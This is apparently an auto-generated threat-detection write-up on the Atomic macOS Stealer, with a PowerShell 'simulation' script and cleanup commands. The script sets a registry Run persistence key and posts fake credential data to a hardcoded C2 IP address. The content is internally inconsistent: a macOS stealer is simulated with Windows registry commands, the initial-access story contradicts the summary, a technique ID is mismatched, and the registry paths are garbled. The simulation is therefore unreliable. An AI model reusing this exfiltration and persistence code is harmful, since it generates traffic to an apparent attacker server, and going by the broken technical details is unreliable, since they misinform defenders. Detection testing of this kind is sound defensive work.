Atomic macOS Stealer Infection Chain Explained

Summary

AMOS is a macOS-based information stealer distributed through malicious websites that instruct users to paste commands into Terminal. The malware targets sensitive information, including browser credentials, messenger data, and cryptocurrency wallets. It establishes persistence using Mach-O binaries concealed within Application Support directories.

Investigation

The investigation was based on a lab-generated infection conducted on July 31, 2026. The researcher observed repeated initial infection traffic caused by executing the malicious command multiple times and identified several persistent Mach-O binaries stored across different directories. Network analysis also revealed C2 communication through HTTP POST and GET requests sent to a specific IP address.

Mitigation

Users should be trained never to paste arbitrary commands from untrusted websites into macOS Terminal. Organizations should monitor for suspicious command-line activity and unauthorized file creation in /tmp and Library/Application Support directories. Network monitoring should also detect outbound HTTP connections to unknown or suspicious IP addresses and domains.

Response

If an AMOS infection is detected, the affected macOS device should be isolated immediately to stop further data exfiltration. Investigators should identify all persistent Mach-O binaries and recover deleted artifacts from the /tmp directory. Passwords for every account accessed from the compromised system should be reset, including browser-stored credentials and cryptocurrency wallet accounts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary seeks to deploy the AMOS stealer to harvest credentials. After gaining initial access via a user executing a malicious attachment (T1204.004), the malware ensures it survives reboots by creating a registry run key (T1546.014). To avoid detection by advanced sandboxes, the malware uses basic obfuscation (T1027.012). Finally, the malware initiates an unencrypted HTTP POST request to the hardcoded C2 IP 188.166.78.138 to exfiltrate the local browser profile data. This specific action is intended to trigger the proxy-based detection rule.

• Regression Test Script:

  # AMOS Stealer Simulation Script
  # Purpose: Mimic C2 traffic to trigger the detection rule
  
  $C2_IP = "188.166.78.138"
  $C2_URL = "http://$($C2_IP)/upload/stolen_data.php"
  
  Write-Host "[*] Starting Simulation..." -ForegroundColor Cyan
  
  # 1. Simulate Persistence (T1546.014)
  Write-Host "[*] Simulating persistence via Registry Run Key..." -ForegroundColor Yellow
  $RegPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
  Set-ItemProperty -Path $RegPath -Name "AMOS_Updater" -Value "C:UsersPublicamos_stealer.exe"
  
  # 2. Simulate Exfiltration via HTTP (The core trigger for the rule)
  Write-Host "[*] Simulating C2 exfiltration traffic to $C2_IP..." -ForegroundColor Yellow
  try {
      # We use a dummy payload to mimic data exfiltration
      $Payload = @{ data = "fake_credential_data_base64_string" }
      Invoke-WebRequest -Uri $C2_URL -Method Post -Body ($Payload | ConvertTo-Json) -UseBasicParsing
  } catch {
      Write-Host "[!] Connection failed (Expected if IP is not live), but telemetry should still be generated in proxy logs." -ForegroundColor Red
  }
  
  Write-Host "[*] Simulation Complete." -ForegroundColor Cyan

• Cleanup Commands:

  # Cleanup script to remove simulated persistence and artifacts
  Write-Host "[*] Cleaning up simulation artifacts..." -ForegroundColor Cyan
  
  # Remove Registry Run Key
  Remove-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" -Name "AMOS_Updater" -ErrorAction SilentlyContinue
  
  Write-Host "[*] Cleanup complete." -ForegroundColor Green